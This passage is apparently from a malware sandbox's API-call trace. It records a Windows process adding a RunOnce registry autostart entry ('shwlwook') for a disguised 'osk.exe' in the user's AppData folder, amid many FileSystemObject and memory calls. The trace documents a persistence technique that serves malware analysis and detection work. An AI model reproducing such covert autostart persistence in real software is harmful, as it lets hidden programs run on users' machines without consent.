lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.784] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.785] RegCloseKey (hKey=0x14c) returned 0x0 [0255.785] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.785] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.796] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.796] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.796] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.802] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.802] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f790 | out: ppvObject=0x624f790*=0x0) returned 0x80004002 [0255.802] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2e [0255.802] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.802] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2f [0255.802] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e02a0) returned 0x0 [0255.802] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2e [0255.802] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.802] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.802] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.803] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.803] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f7b0 | out: ppvObject=0x624f7b0*=0x0) returned 0x80004002 [0255.803] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2f [0255.803] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2e [0255.803] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.803] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2e [0255.803] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f7c0) returned 0x0 [0255.804] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2d [0255.804] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.805] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.805] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.805] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.805] RegCloseKey (hKey=0x14c) returned 0x0 [0255.805] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.806] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.812] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.812] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.812] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.812] WaitForSingleObject (hHandle=0x4a4, dwMilliseconds=0x3e8) returned 0x0 [0255.813] SetThreadPriority (hThread=0x4ac, nPriority=-1) returned 1 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6239000, dwRegionSize=0x1000, lpAddresses=0x95eea0, lpdwCount=0x95eeac, lpdwGranularity=0x95eea4 | out: lpAddresses=0x95eea0*=0x0, lpdwCount=0x95eeac, lpdwGranularity=0x95eea4) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6231000, dwRegionSize=0x1000, lpAddresses=0x95eea0, lpdwCount=0x95eeac, lpdwGranularity=0x95eea4 | out: lpAddresses=0x95eea0*=0x0, lpdwCount=0x95eeac, lpdwGranularity=0x95eea4) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x624b000, dwRegionSize=0x1000, lpAddresses=0x95ef14, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18 | out: lpAddresses=0x95ef14*=0x0, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6249000, dwRegionSize=0x1000, lpAddresses=0x95ef14, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18 | out: lpAddresses=0x95ef14*=0x0, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6246000, dwRegionSize=0x1000, lpAddresses=0x95ef14, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18 | out: lpAddresses=0x95ef14*=0x0, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6244000, dwRegionSize=0x1000, lpAddresses=0x95ef14, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18 | out: lpAddresses=0x95ef14*=0x0, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6241000, dwRegionSize=0x1000, lpAddresses=0x95ef14, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18 | out: lpAddresses=0x95ef14*=0x0, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x623e000, dwRegionSize=0x1000, lpAddresses=0x95ef14, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18 | out: lpAddresses=0x95ef14*=0x0, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x623d000, dwRegionSize=0x1000, lpAddresses=0x95ef14, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18 | out: lpAddresses=0x95ef14*=0x0, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x623c000, dwRegionSize=0x1000, lpAddresses=0x95ef14, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18 | out: lpAddresses=0x95ef14*=0x0, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x623b000, dwRegionSize=0x1000, lpAddresses=0x95ef14, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18 | out: lpAddresses=0x95ef14*=0x623b000, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6238000, dwRegionSize=0x1000, lpAddresses=0x95ef14, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18 | out: lpAddresses=0x95ef14*=0x623b000, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6237000, dwRegionSize=0x1000, lpAddresses=0x95ef14, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18 | out: lpAddresses=0x95ef14*=0x623b000, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6236000, dwRegionSize=0x1000, lpAddresses=0x95ef14, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18 | out: lpAddresses=0x95ef14*=0x623b000, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6234000, dwRegionSize=0x1000, lpAddresses=0x95ef14, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18 | out: lpAddresses=0x95ef14*=0x623b000, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6230000, dwRegionSize=0x1000, lpAddresses=0x95ef14, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18 | out: lpAddresses=0x95ef14*=0x6230000, lpdwCount=0x95ef1c, lpdwGranularity=0x95ef18) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x624e000, dwRegionSize=0x1000, lpAddresses=0x95eefc, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00 | out: lpAddresses=0x95eefc*=0x5489fe8, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x624d000, dwRegionSize=0x1000, lpAddresses=0x95eefc, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00 | out: lpAddresses=0x95eefc*=0x5489fe8, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00) returned 0x0 [0255.813] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x624c000, dwRegionSize=0x1000, lpAddresses=0x95eefc, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00 | out: lpAddresses=0x95eefc*=0x5489fe8, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00) returned 0x0 [0255.814] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x624a000, dwRegionSize=0x1000, lpAddresses=0x95eefc, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00 | out: lpAddresses=0x95eefc*=0x5489fe8, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00) returned 0x0 [0255.814] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6248000, dwRegionSize=0x1000, lpAddresses=0x95eefc, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00 | out: lpAddresses=0x95eefc*=0x5489fe8, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00) returned 0x0 [0255.814] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6247000, dwRegionSize=0x1000, lpAddresses=0x95eefc, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00 | out: lpAddresses=0x95eefc*=0x5489fe8, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00) returned 0x0 [0255.814] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6245000, dwRegionSize=0x1000, lpAddresses=0x95eefc, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00 | out: lpAddresses=0x95eefc*=0x5489fe8, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00) returned 0x0 [0255.814] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6240000, dwRegionSize=0x1000, lpAddresses=0x95eefc, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00 | out: lpAddresses=0x95eefc*=0x5489fe8, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00) returned 0x0 [0255.814] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x623f000, dwRegionSize=0x1000, lpAddresses=0x95eefc, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00 | out: lpAddresses=0x95eefc*=0x623f000, lpdwCount=0x95ef04, lpdwGranularity=0x95ef00) returned 0x0 [0255.814] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6235000, dwRegionSize=0x1000, lpAddresses=0x95eeec, lpdwCount=0x95eef8, lpdwGranularity=0x95eefc | out: lpAddresses=0x95eeec*=0x6235000, lpdwCount=0x95eef8, lpdwGranularity=0x95eefc) returned 0x0 [0255.814] VirtualFree (lpAddress=0x8100000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0255.815] free (_Block=0x54d0d90) [0255.816] ResetWriteWatch (lpBaseAddress=0x80e0000, dwRegionSize=0x1000) returned 0x0 [0255.816] ResetWriteWatch (lpBaseAddress=0x6230000, dwRegionSize=0x20000) returned 0x0 [0255.816] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2c [0255.816] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2d [0255.816] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2b [0255.816] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2c [0255.816] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2a [0255.816] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2b [0255.817] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x29 [0255.817] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2a [0255.817] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x28 [0255.817] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x29 [0255.817] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x27 [0255.817] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x28 [0255.817] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x26 [0255.817] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x27 [0255.817] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x25 [0255.817] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x26 [0255.817] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x24 [0255.817] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x25 [0255.817] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x23 [0255.817] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x24 [0255.818] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x22 [0255.818] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x23 [0255.818] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x21 [0255.818] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x22 [0255.818] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x20 [0255.818] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x21 [0255.818] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1f [0255.818] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x20 [0255.818] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1e [0255.818] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1f [0255.818] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1d [0255.818] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1e [0255.818] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1c [0255.818] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1d [0255.819] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1b [0255.819] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1c [0255.819] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1a [0255.819] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1b [0255.819] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x19 [0255.819] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1a [0255.819] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x18 [0255.819] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x19 [0255.819] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x17 [0255.819] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x18 [0255.819] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x16 [0255.819] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x17 [0255.819] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x15 [0255.819] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x16 [0255.819] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x14 [0255.820] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x15 [0255.820] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x13 [0255.820] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x14 [0255.820] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x12 [0255.820] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x13 [0255.820] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x11 [0255.820] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x12 [0255.820] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x10 [0255.820] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x11 [0255.820] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xf [0255.820] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x10 [0255.820] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xe [0255.820] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xf [0255.820] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xd [0255.820] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xe [0255.820] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xc [0255.821] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xd [0255.821] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xb [0255.821] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xc [0255.821] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xa [0255.821] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xb [0255.821] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x9 [0255.821] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xa [0255.821] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x8 [0255.821] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x9 [0255.821] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x7 [0255.821] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x8 [0255.821] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x6 [0255.821] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x7 [0255.821] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x5 [0255.821] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x6 [0255.821] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x4 [0255.821] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x5 [0255.822] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x3 [0255.822] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x4 [0255.822] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2 [0255.822] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x3 [0255.822] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1 [0255.822] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2 [0255.822] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x0 [0255.822] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1 [0255.822] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.822] VirtualAlloc (lpAddress=0x6193000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x6193000 [0255.823] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f010 | out: ppvObject=0x624f010*=0x0) returned 0x80004002 [0255.823] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2 [0255.823] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.823] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x3 [0255.823] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, 